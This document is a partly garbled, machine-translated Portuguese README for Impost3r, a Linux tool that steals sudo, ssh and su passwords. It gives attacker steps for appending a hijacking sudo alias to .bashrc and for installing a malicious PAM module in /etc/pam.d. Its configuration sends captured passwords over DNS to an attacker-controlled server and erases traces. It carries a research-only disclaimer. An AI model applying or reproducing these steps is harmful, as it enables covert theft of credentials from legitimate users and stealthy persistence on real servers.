Inglês
Impost3r é uma ferramenta escrita em linguagem C e usada para roubar diversas senhas (ssh, su, sudo) no Linux.
Os usuários podem usar este programa para criar um bar para roubar as senhas de usuários legítimos
Esta ferramenta é apenas para pesquisa e ensino de segurança, e o usuário assume todas as responsabilidades legais e relacionadas resultantes do uso desta ferramenta! O autor não assume quaisquer responsabilidades legais e relacionadas!
Apague automaticamente vestígios de comportamento
Transferir resultados via protocolo DNS
Usuário indiferente
gcc
O Impost3r pode ser usado para roubar senhas, incluindo serviços sudo, su e ssh. Esses três serviços podem ser divididos em duas categorias, sudo e ssh/su.
Requer apenas permissões de usuário comuns. Não requer root. No entanto, só pode roubar a senha do usuário correspondente e não pode roubar as senhas de outros usuários.
Primeiro, suponha que o invasor controle um servidor com direitos de usuário comuns.
Verifique se o arquivo .bash_profile
existe no diretório raiz do usuário. Se .bash_profile
existir: verifique se .bashrc
está carregado ativamente no arquivo .bash_profile
, pule esta etapa e as próximas duas verificações e continue com a subseqüente. operações. If Se não estiver carregado ativamente, as próximas duas etapas de verificação serão ignoradas e todas as operações para .bashrc
a seguir serão substituídas por operações para .bash_profile
.bash_profile
próxima etapa de verificação.
Verifique se o arquivo .bash_login
existe no diretório raiz do usuário. Se .bash_login
existir: verifique se .bashrc
está carregado ativamente no arquivo .bash_login
. Se estiver carregado ativamente, pule esta etapa e a próxima verificação e continue com as operações subsequentes. . Caso contrário, pule esta etapa e a próxima etapa, pule a próxima verificação e .bash_login
as operações para .bashrc
a seguir serão substituídas por operações para .bash_login
!!! a próxima verificação.
Verifique se existe um arquivo .profile
no diretório raiz do usuário. Se existir um arquivo .profile
: Verifique se .bashrc
está carregado ativamente no arquivo .profile
(carregado por padrão, ignore esta etapa e continue com). as operações subsequentes, se não estiver carregado ativamente, todas as operações para .bashrc
a seguir serão substituídas por operações para .profile
!!! ;Se .profile
não existir, em princípio, o Impost3r não poderá ser usado. Claro, você também pode decidir se deseja gerar um arquivo .bash_profile
ou .profile
dependendo da situação e escrever um código de carregamento semelhante ao. seguindo para carregar .bashrc
if [ -n "$BASH_VERSION" ]; then # include .bashrc if it exists if [ -f "$HOME/.bashrc" ]; then . "$HOME/.bashrc" fi fi
Copie uma cópia do .bashrc
do usuário: cp ~/.bashrc /tmp/
e coloque essa cópia no caminho personalizado do invasor (neste exemplo, ela é colocada no diretório /tmp/ e o invasor pode modificá-la)
Modifique .bashrc
(~/.bashrc) no diretório raiz do usuário e adicione a seguinte instrução na última linha (onde "/tmp/.impost3r" precisa ser consistente com o FILENAME abaixo):
alias sudo='impost3r() { if [ -f "/tmp/.impost3r" ]; then /tmp/.impost3r "$@" && unalias sudo else unalias sudo;sudo "$@" fi }; impost3r'
Após a adição ser concluída, salve o arquivo e execute source ~/.bashrc
Em seguida, o invasor precisa modificar o código-fonte do Impost3r /sudo/main.h
:
/* Custom setting */ # define FILENAME "/tmp/.impost3r" 设置Impost3r在目标服务器上的位置 # define BACKUP_ORI_FILENAME ".bashrc" 表明攻击者所备份的源用户配置文件是.bashrc还是.bash_profile、.profile、.bash_login # define BACKUP_ORI_PATH "/tmp/.bashrc" 表明攻击者所备份的源用户配置文件在目标服务器上的位置 # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数 # define RESEND_INTERVAL 5 设置每一次发送密码的间隔 # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.cache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
Após a conclusão da modificação, salve e execute make
no diretório atual
Obtenha o arquivo .impost3r
compilado no diretório atual
Carregue (tente compilar no servidor de destino para evitar erros inesperados) o arquivo .impost3r
para a pasta /tmp/
do servidor de destino (apenas um exemplo, você mesmo pode modificá-lo, desde que seja igual à definição no código fonte)
O invasor inicia o programa do servidor DNS em seu próprio servidor e espera que o usuário legítimo use sudo
para obter a senha.
No caso de roubo da senha do sudo, o Impost3r apagará automaticamente os rastros após sucesso, e o invasor não precisará subir e limpá-lo manualmente.
O Impost3r determinará automaticamente se a senha inserida pelo usuário é a senha correta. Não encerrará o processo até que o usuário insira a senha correta e apague os rastros.
Use sudo -v
para determinar se o usuário atual está no grupo sudoer
antes de usar o Impost3r. Caso contrário, não use o Impost3r.
Roubar senhas ssh/su é diferente do método de roubo e exploração de senha sudo acima. Ele requer privilégios de root e pode roubar qualquer senha de usuário.
A seguir, o Ubuntu como exemplo é semelhante. Os arquivos usados e a forma de modificá-los podem ser diferentes.
Primeiro, vamos supor que o invasor controle um servidor
Obteve permissões de root por meio de uma operação de escalonamento de privilégios (ou o adorável administrador iniciou o serviço com permissões de root)
Primeiro edite o arquivo de código-fonte /ssh_su/main.h
do Impost3r
/* Custom setting */ # define SSH_OR_BOTH 0 设置偷取模式,0代表仅偷取ssh密码,1代表偷取ssh及su密码,默认为0(后面会讲到区别) # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数(仅当SSH_OR_BOTH为0,此选项才有效) # define RESEND_INTERVAL 5 设置每一次发送密码的间隔(仅当SSH_OR_BOTH为0,此选项才有效) # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.sshsucache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
Após a conclusão da modificação, salve e execute make
no diretório atual
Obtenha o arquivo compilado impost3r.so
Carregue o impost3r.so
compilado (tente compilá-lo no servidor de destino para evitar erros inesperados) para /lib/x86_64-linux-gnu/security
da máquina de destino (máquinas diferentes podem ter nomes de pastas diferentes, coloque-os de acordo com o situação))
Digite /etc/pam.d
. Existem duas situações neste momento. Se o modo selecionado for apenas roubar a senha ssh, você precisará executar vi sshd
e adicionar a seguinte instrução no final do arquivo (deve ser). observe aqui que, exceto para o Ubuntu, outros baseados em Este arquivo do sistema Linux podem ser bem diferentes do Ubuntu. É recomendável ler as regras você mesmo e adicioná-las no local apropriado)
auth optional impost3r.so account optional impost3r.so
Salve e saia, reinicie o service sshd restart
Se você optar por roubar as senhas ssh e su juntas, será necessário executar vi common-auth
, adicionar a mesma instrução, salvar e sair, e reiniciar o serviço sshd também.
O invasor inicia o programa do servidor DNS em seu próprio servidor e espera que o usuário legítimo use ssh
para fazer login na máquina de destino ou use su
para trocar de usuário para obter a senha.
No caso de roubo da senha ssh/su, o Impost3r não pode limpar os rastros por motivos de permissão, e o invasor precisa limpá-lo sozinho.
Observe que se apenas a senha SSH estiver configurada para ser roubada, é basicamente garantido que o invasor receberá 100% do resultado do roubo, mas se ambos estiverem configurados para roubar ao mesmo tempo, não é necessariamente garantido que o o invasor receberá o resultado do roubo (somente se definido Ao enviar para DNS, configurá-lo para salvar localmente não será afetado)
Não é recomendado roubar a senha su e, como a senha ssh do usuário é igual à senha su, se você não conseguir roubar a senha su, não a roube. A senha ssh é suficiente.
Senhas vazias não são roubadas por padrão. Tente ver se o usuário tem uma senha vazia (verifique se há PermitEmptyPasswords yes
no arquivo de configuração sshd. Se estiver vazio, ainda é um fantasma.)
Usei Fdns para o programa do servidor DNS e modifiquei alguns parâmetros. Você pode encontrar o código-fonte modificado na pasta Fdns. Use o comando gcc -o dns main.c util.c
para compilá-lo você mesmo (observe que você deve modificá-lo. primeira porta de escuta em main.c)
Antes de compilar o Fdns, verifique o valor YOUR_DOMAIN
em util.h
para garantir que este valor seja consistente com o valor YOUR_DOMAIN
usado ao compilar o programa Impost3r implantado no servidor, caso contrário o roubo pode falhar.
Este programa é desenvolvido e estudado apenas em seu tempo livre. Pode haver bugs em suas funções.
f
libbaseencode